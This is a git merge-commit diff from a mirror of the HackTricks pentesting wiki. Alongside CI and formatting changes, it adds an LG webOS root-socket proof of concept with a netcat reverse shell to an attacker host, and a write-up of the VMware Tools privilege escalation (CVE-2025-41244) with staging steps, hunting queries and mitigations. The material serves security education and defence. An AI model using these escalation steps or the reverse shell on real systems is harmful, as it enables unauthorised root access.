mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Merge branch 'master' into research_update_src_pentesting-web_regular-expression-denial-of-service-redos_20251001_082618
This commit is contained in:
		
						commit
						58ca1e4871
					
				
							
								
								
									
										22
									
								
								.github/workflows/build_master.yml
									
									
									
									
										vendored
									
									
								
							
							
						
						
									
										22
									
								
								.github/workflows/build_master.yml
									
									
									
									
										vendored
									
									
								
							| @ -67,13 +67,27 @@ jobs: | ||||
|           export GH_TOKEN="$TOKEN" | ||||
| 
 | ||||
|           # Delete the release if it exists | ||||
|           if gh release view "$TAG" >/dev/null 2>&1; then | ||||
|           echo "Checking if release $TAG exists..." | ||||
|           if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then | ||||
|             echo "Release $TAG already exists, deleting it..." | ||||
|             gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" | ||||
|             gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || { | ||||
|               echo "Failed to delete release, trying without cleanup-tag..." | ||||
|               gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || { | ||||
|                 echo "Warning: Could not delete existing release, will try to recreate..." | ||||
|               } | ||||
|             } | ||||
|             sleep 2  # Give GitHub API a moment to process the deletion | ||||
|           else | ||||
|             echo "Release $TAG does not exist, proceeding with creation..." | ||||
|           fi | ||||
|            | ||||
|           # Create new release | ||||
|           gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" | ||||
|           # Create new release (with force flag to overwrite if deletion failed) | ||||
|           gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || { | ||||
|             echo "Failed to create release, trying with force flag..." | ||||
|             gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true | ||||
|             sleep 2 | ||||
|             gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" | ||||
|           } | ||||
| 
 | ||||
| 
 | ||||
|       # Login in AWs | ||||
|  | ||||
							
								
								
									
										2
									
								
								.github/workflows/translate_all.yml
									
									
									
									
										vendored
									
									
								
							
							
						
						
									
										2
									
								
								.github/workflows/translate_all.yml
									
									
									
									
										vendored
									
									
								
							| @ -106,7 +106,7 @@ jobs: | ||||
|             fi | ||||
|           done | ||||
| 
 | ||||
|           echo "Files to translate:" | ||||
|           echo "Files to translate (`wc -l < /tmp/file_paths.txt`):" | ||||
|           cat /tmp/file_paths.txt | ||||
|           echo "" | ||||
|           echo "" | ||||
|  | ||||
| @ -1,139 +0,0 @@ | ||||
| #!/bin/bash | ||||
| 
 | ||||
| # Script to resolve searchindex.js conflicts by accepting master branch version | ||||
| # This script is designed to handle merge conflicts that occur when PRs become | ||||
| # desynchronized due to the auto-generated searchindex.js file. | ||||
| #  | ||||
| # The searchindex.js file is automatically generated by the build process and | ||||
| # frequently causes conflicts when multiple PRs are waiting to be merged. | ||||
| # This script automatically resolves those conflicts by accepting the master | ||||
| # branch version of the file. | ||||
| # | ||||
| # Usage: resolve_searchindex_conflicts.sh <pr_number> <head_branch> <base_branch> | ||||
| 
 | ||||
| set -euo pipefail | ||||
| 
 | ||||
| # Validate arguments | ||||
| if [ $# -ne 3 ]; then | ||||
|     echo "Usage: $0 <pr_number> <head_branch> <base_branch>" | ||||
|     exit 1 | ||||
| fi | ||||
| 
 | ||||
| PR_NUMBER="$1" | ||||
| HEAD_BRANCH="$2" | ||||
| BASE_BRANCH="$3" | ||||
| 
 | ||||
| # Validate required environment variables | ||||
| if [ -z "${GITHUB_REPOSITORY:-}" ]; then | ||||
|     echo "Error: GITHUB_REPOSITORY environment variable is required" | ||||
|     exit 1 | ||||
| fi | ||||
| 
 | ||||
| if [ -z "${GH_TOKEN:-}" ]; then | ||||
|     echo "Error: GH_TOKEN environment variable is required" | ||||
|     exit 1 | ||||
| fi | ||||
| 
 | ||||
| echo "Resolving conflicts for PR #$PR_NUMBER (branch: $HEAD_BRANCH -> $BASE_BRANCH)" | ||||
| 
 | ||||
| # Get current directory for safety | ||||
| ORIGINAL_DIR=$(pwd) | ||||
| 
 | ||||
| # Create a temporary directory for the operation | ||||
| TEMP_DIR=$(mktemp -d) | ||||
| echo "Working in temporary directory: $TEMP_DIR" | ||||
| 
 | ||||
| cleanup() { | ||||
|     echo "Cleaning up..." | ||||
|     cd "$ORIGINAL_DIR" | ||||
|     rm -rf "$TEMP_DIR" | ||||
| } | ||||
| trap cleanup EXIT | ||||
| 
 | ||||
| # Clone the repository to the temp directory | ||||
| echo "Cloning repository..." | ||||
| cd "$TEMP_DIR" | ||||
| gh repo clone "$GITHUB_REPOSITORY" . --branch "$HEAD_BRANCH" | ||||
| 
 | ||||
| # Configure git | ||||
| git config user.email "action@github.com" | ||||
| git config user.name "GitHub Action" | ||||
| 
 | ||||
| # Fetch all branches | ||||
| git fetch origin | ||||
| 
 | ||||
| # Make sure we're on the correct branch | ||||
| git checkout "$HEAD_BRANCH" | ||||
| 
 | ||||
| # Try to merge the base branch | ||||
| echo "Attempting to merge $BASE_BRANCH into $HEAD_BRANCH..." | ||||
| if git merge "origin/$BASE_BRANCH" --no-edit; then | ||||
|     echo "No conflicts found, merge successful" | ||||
|      | ||||
|     # Push the updated branch | ||||
|     echo "Pushing merged branch..." | ||||
|     git push origin "$HEAD_BRANCH" | ||||
|     exit 0 | ||||
| fi | ||||
| 
 | ||||
| # Check what files have conflicts | ||||
| echo "Checking for conflicts..." | ||||
| conflicted_files=$(git diff --name-only --diff-filter=U) | ||||
| echo "Conflicted files: $conflicted_files" | ||||
| 
 | ||||
| # Check if searchindex.js is the only conflict or if conflicts are only in acceptable files | ||||
| acceptable_conflicts=true | ||||
| searchindex_conflict=false | ||||
| 
 | ||||
| for file in $conflicted_files; do | ||||
|     case "$file" in | ||||
|         "searchindex.js") | ||||
|             searchindex_conflict=true | ||||
|             echo "Found searchindex.js conflict (acceptable)" | ||||
|             ;; | ||||
|         *) | ||||
|             echo "Found unacceptable conflict in: $file" | ||||
|             acceptable_conflicts=false | ||||
|             ;; | ||||
|     esac | ||||
| done | ||||
| 
 | ||||
| if [ "$acceptable_conflicts" = false ]; then | ||||
|     echo "Cannot auto-resolve: conflicts found in files other than searchindex.js" | ||||
|     git merge --abort | ||||
|     exit 1 | ||||
| fi | ||||
| 
 | ||||
| if [ "$searchindex_conflict" = false ]; then | ||||
|     echo "No searchindex.js conflicts found, but merge failed for unknown reason" | ||||
|     git merge --abort | ||||
|     exit 1 | ||||
| fi | ||||
| 
 | ||||
| echo "Resolving searchindex.js conflict by accepting $BASE_BRANCH version..." | ||||
| 
 | ||||
| # Accept the base branch version of searchindex.js (--theirs refers to the branch being merged in) | ||||
| git checkout --theirs searchindex.js | ||||
| git add searchindex.js | ||||
| 
 | ||||
| # Check if there are any other staged changes from the merge | ||||
| staged_files=$(git diff --cached --name-only || true) | ||||
| echo "Staged files after resolution: $staged_files" | ||||
| 
 | ||||
| # Complete the merge | ||||
| if git commit --no-edit; then | ||||
|     echo "Successfully resolved merge conflicts" | ||||
|      | ||||
|     # Push the updated branch | ||||
|     echo "Pushing resolved branch..." | ||||
|     if git push origin "$HEAD_BRANCH"; then | ||||
|         echo "Successfully pushed resolved branch" | ||||
|         exit 0 | ||||
|     else | ||||
|         echo "Failed to push resolved branch" | ||||
|         exit 1 | ||||
|     fi | ||||
| else | ||||
|     echo "Failed to commit merge resolution" | ||||
|     exit 1 | ||||
| fi | ||||
| @ -226,7 +226,7 @@ https://www.lasttowersolutions.com/ | ||||
| 
 | ||||
| ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) | ||||
| 
 | ||||
| <figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure> | ||||
| <figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure> | ||||
| 
 | ||||
| K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence. | ||||
| 
 | ||||
| @ -253,3 +253,4 @@ welcome/hacktricks-values-and-faq.md | ||||
| 
 | ||||
| {{#include ./banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
| @ -110,6 +110,7 @@ | ||||
| - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) | ||||
| - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) | ||||
|   - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) | ||||
|   - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) | ||||
|   - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) | ||||
|   - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) | ||||
|   - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) | ||||
| @ -949,4 +950,4 @@ | ||||
| - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) | ||||
| - [Post Exploitation](todo/post-exploitation.md) | ||||
| - [Investment Terms](todo/investment-terms.md) | ||||
| - [Cookies Policy](todo/cookies-policy.md) | ||||
| - [Cookies Policy](todo/cookies-policy.md) | ||||
|  | ||||
| @ -124,3 +124,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con | ||||
| - [Slither (GitHub)](https://github.com/crytic/slither) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
|  | ||||
| @ -1723,6 +1723,16 @@ Android rooting frameworks commonly hook a syscall to expose privileged kernel f | ||||
| android-rooting-frameworks-manager-auth-bypass-syscall-hook.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) | ||||
| 
 | ||||
| Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path). | ||||
| 
 | ||||
| Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: | ||||
| 
 | ||||
| {{#ref}} | ||||
| vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## Kernel Security Protections | ||||
| 
 | ||||
| - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) | ||||
| @ -1774,4 +1784,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md | ||||
| - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) | ||||
| - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) | ||||
| 
 | ||||
| - [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
|  | ||||
| @ -43,7 +43,47 @@ unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python | ||||
| echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s | ||||
| ``` | ||||
| 
 | ||||
| ## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS) | ||||
| 
 | ||||
| Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate. | ||||
| 
 | ||||
| Observed pattern: | ||||
| - Connect to a root-owned socket (e.g., /tmp/remotelogger). | ||||
| - Create a thread and obtain its native thread id (TID). | ||||
| - Send the TID (packed) plus padding as a request; receive an acknowledgement. | ||||
| - Deliver a specific signal to that TID to trigger the privileged behaviour. | ||||
| 
 | ||||
| Minimal PoC sketch: | ||||
| 
 | ||||
| ```python | ||||
| import socket, struct, os, threading, time | ||||
| # Spawn a thread so we have a TID we can signal | ||||
| th = threading.Thread(target=time.sleep, args=(600,)); th.start() | ||||
|  tid = th.native_id  # Python >=3.8 | ||||
| s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) | ||||
| s.connect("/tmp/remotelogger") | ||||
| s.sendall(struct.pack('<L', tid) + b'A'*0x80) | ||||
| s.recv(4)  # sync | ||||
| os.kill(tid, 4)  # deliver SIGILL (example from the case) | ||||
| ``` | ||||
| 
 | ||||
| To turn this into a root shell, a simple named-pipe + nc pattern can be used: | ||||
| 
 | ||||
| ```bash | ||||
| rm -f /tmp/f; mkfifo /tmp/f | ||||
| cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f | ||||
| ``` | ||||
| 
 | ||||
| Notes: | ||||
| - This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic. | ||||
| - Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers. | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
| @ -0,0 +1,153 @@ | ||||
| # VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| This technique abuses regex-driven service discovery pipelines that parse running process command lines to infer service versions and then execute a candidate binary with a "version" flag. When permissive patterns accept untrusted, attacker-controlled paths (e.g., /tmp/httpd), the privileged collector executes an arbitrary binary from an untrusted location, yielding local privilege escalation. NVISO documented this in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244. | ||||
| 
 | ||||
| - Impact: Local privilege escalation to root (or to the privileged discovery account) | ||||
| - Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines | ||||
| - Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) | ||||
| 
 | ||||
| ## How VMware service discovery works (high level) | ||||
| 
 | ||||
| - Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials. | ||||
| - Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest. | ||||
| 
 | ||||
| Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag. | ||||
| 
 | ||||
| ## Root cause and vulnerable pattern (open-vm-tools) | ||||
| 
 | ||||
| In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation: | ||||
| 
 | ||||
| ```bash | ||||
| get_version() { | ||||
|   PATTERN=$1 | ||||
|   VERSION_OPTION=$2 | ||||
|   for p in $space_separated_pids | ||||
|   do | ||||
|     COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") | ||||
|     [ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND | ||||
|   done | ||||
| } | ||||
| ``` | ||||
| 
 | ||||
| It is invoked with permissive patterns containing \S (non-whitespace) that will happily match non-system paths in user-writable locations: | ||||
| 
 | ||||
| ```bash | ||||
| get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v | ||||
| get_version "/usr/(bin|sbin)/apache\S*" -v | ||||
| get_version "/\S+/mysqld($|\s)" -V | ||||
| get_version "\.?/\S*nginx($|\s)" -v | ||||
| get_version "/\S+/srm/bin/vmware-dr($|\s)" --version | ||||
| get_version "/\S+/dataserver($|\s)" -v | ||||
| ``` | ||||
| 
 | ||||
| - Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*} | ||||
| - No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/--version | ||||
| 
 | ||||
| This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. | ||||
| 
 | ||||
| ## Exploitation (both credential-less and credential-based modes) | ||||
| 
 | ||||
| Preconditions | ||||
| - You can run an unprivileged process that opens a listening socket on the guest. | ||||
| - The discovery job is enabled and runs periodically (historically ~5 minutes). | ||||
| 
 | ||||
| Steps | ||||
| 1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx | ||||
| 2) Run it as a low-privileged user and ensure it opens any listening socket | ||||
| 3) Wait for the discovery cycle; the privileged collector will automatically execute: /tmp/httpd -v (or similar), running your program as root | ||||
| 
 | ||||
| Minimal demo (using NVISO’s approach) | ||||
| ```bash | ||||
| # Build any small helper that: | ||||
| #  - default mode: opens a dummy TCP listener | ||||
| #  - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) | ||||
| # Example staging and trigger | ||||
| cp your_helper /tmp/httpd | ||||
| chmod +x /tmp/httpd | ||||
| /tmp/httpd          # run as low-priv user and wait for the cycle | ||||
| # After the next cycle, expect a root shell or your privileged action | ||||
| ``` | ||||
| 
 | ||||
| Typical process lineage | ||||
| - Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i | ||||
| - Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i | ||||
| 
 | ||||
| Artifacts (credential-based) | ||||
| Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path: | ||||
| ```bash | ||||
| /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" | ||||
| ``` | ||||
| 
 | ||||
| ## Generalizing the technique: regex-driven discovery abuse (portable pattern) | ||||
| 
 | ||||
| Many agents and monitoring suites implement version/service discovery by: | ||||
| - Enumerating processes with listening sockets | ||||
| - Grepping argv/command lines with permissive regexes (e.g., patterns containing \S) | ||||
| - Executing the matched path with a benign flag like -v, --version, -V, -h | ||||
| 
 | ||||
| If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution. | ||||
| 
 | ||||
| Abuse recipe | ||||
| - Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver | ||||
| - Place it in a writable directory: /tmp/httpd, ./nginx | ||||
| - Ensure it matches the regex and opens any port to be enumerated | ||||
| - Wait for the scheduled collector; you get an automatic privileged invocation of <path> -v | ||||
| 
 | ||||
| Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. | ||||
| 
 | ||||
| Reusable privileged I/O relay trick | ||||
| - Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag. | ||||
| 
 | ||||
| ## Detection and DFIR guidance | ||||
| 
 | ||||
| Hunting queries | ||||
| - Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld | ||||
| - Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions) | ||||
| - ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path> | ||||
| 
 | ||||
| On Aria SDMP (credential-based) | ||||
| - Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths | ||||
| 
 | ||||
| Policy/telemetry | ||||
| - Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ | ||||
| - File integrity monitoring on get-versions.sh and VMware Tools plugins | ||||
| 
 | ||||
| ## Mitigations | ||||
| 
 | ||||
| - Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP) | ||||
| - Disable or restrict credential-less discovery where feasible | ||||
| - Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries | ||||
| - Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names | ||||
| - Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact | ||||
| - Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths | ||||
| 
 | ||||
| ## Notes for defenders and implementers | ||||
| 
 | ||||
| Safer matching and execution pattern | ||||
| ```bash | ||||
| # Bad: permissive regex and blind exec | ||||
| COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") | ||||
| [ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v | ||||
| 
 | ||||
| # Good: strict allowlist + path checks | ||||
| candidate=$(get_command_line "$pid" | awk '{print $1}') | ||||
| case "$candidate" in | ||||
|   /usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) | ||||
|       "$candidate" -v 2>&1 ;; | ||||
|   *) | ||||
|       : # ignore non-allowlisted paths | ||||
|       ;; | ||||
| esac | ||||
| ``` | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) | ||||
| - [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) | ||||
| - [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) | ||||
| - [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) | ||||
| - [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| @ -176,3 +176,4 @@ URL-encoded PoC (first char is a newline): | ||||
| - [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
|  | ||||
| @ -20,7 +20,18 @@ msf> auxiliary/scanner/vmware/vmware_http_login | ||||
| If you find valid credentials, you can use more metasploit scanner modules to obtain information. | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ### See also | ||||
| 
 | ||||
| Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
| @ -744,6 +744,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ | ||||
| 
 | ||||
| <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure> | ||||
| 
 | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) | ||||
| @ -760,3 +761,4 @@ EN-Local-File-Inclusion-1.pdf | ||||
| {{#endfile}} | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
|  | ||||
| @ -409,3 +409,4 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
| @ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con | ||||
| 
 | ||||
| > [!TIP] | ||||
| > | ||||
| > - **How can I  a page of HackTricks?** | ||||
| > - **How can I cite a page of HackTricks?** | ||||
| 
 | ||||
| As long as the link **of** the page(s) where you took the information from appears it's enough.\ | ||||
| If you need a bibtex you can use something like: | ||||
| @ -144,3 +144,4 @@ This license does not grant any trademark or branding rights in relation to the | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
| @ -491,3 +491,4 @@ | ||||
|     handle.addEventListener("touchstart", onStart, { passive: false }); | ||||
|   } | ||||
| })(); | ||||
| 
 | ||||
|  | ||||
| @ -68,11 +68,11 @@ | ||||
|       const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; | ||||
|       const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; | ||||
| 
 | ||||
|       const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); | ||||
|       const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); | ||||
|       const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
 | ||||
|       const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
 | ||||
| 
 | ||||
|       const MAIN_REMOTE_SOURCES  = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`); | ||||
|       const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`); | ||||
|       const MAIN_REMOTE_SOURCES  = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
 | ||||
|       const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
 | ||||
| 
 | ||||
|       const indices = []; | ||||
|       const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js',        false); if(main)  indices.push(main); | ||||
| @ -208,3 +208,4 @@ | ||||
|     listOut.classList.toggle('hidden',!docs.length); | ||||
|   }; | ||||
| })(); | ||||
| 
 | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user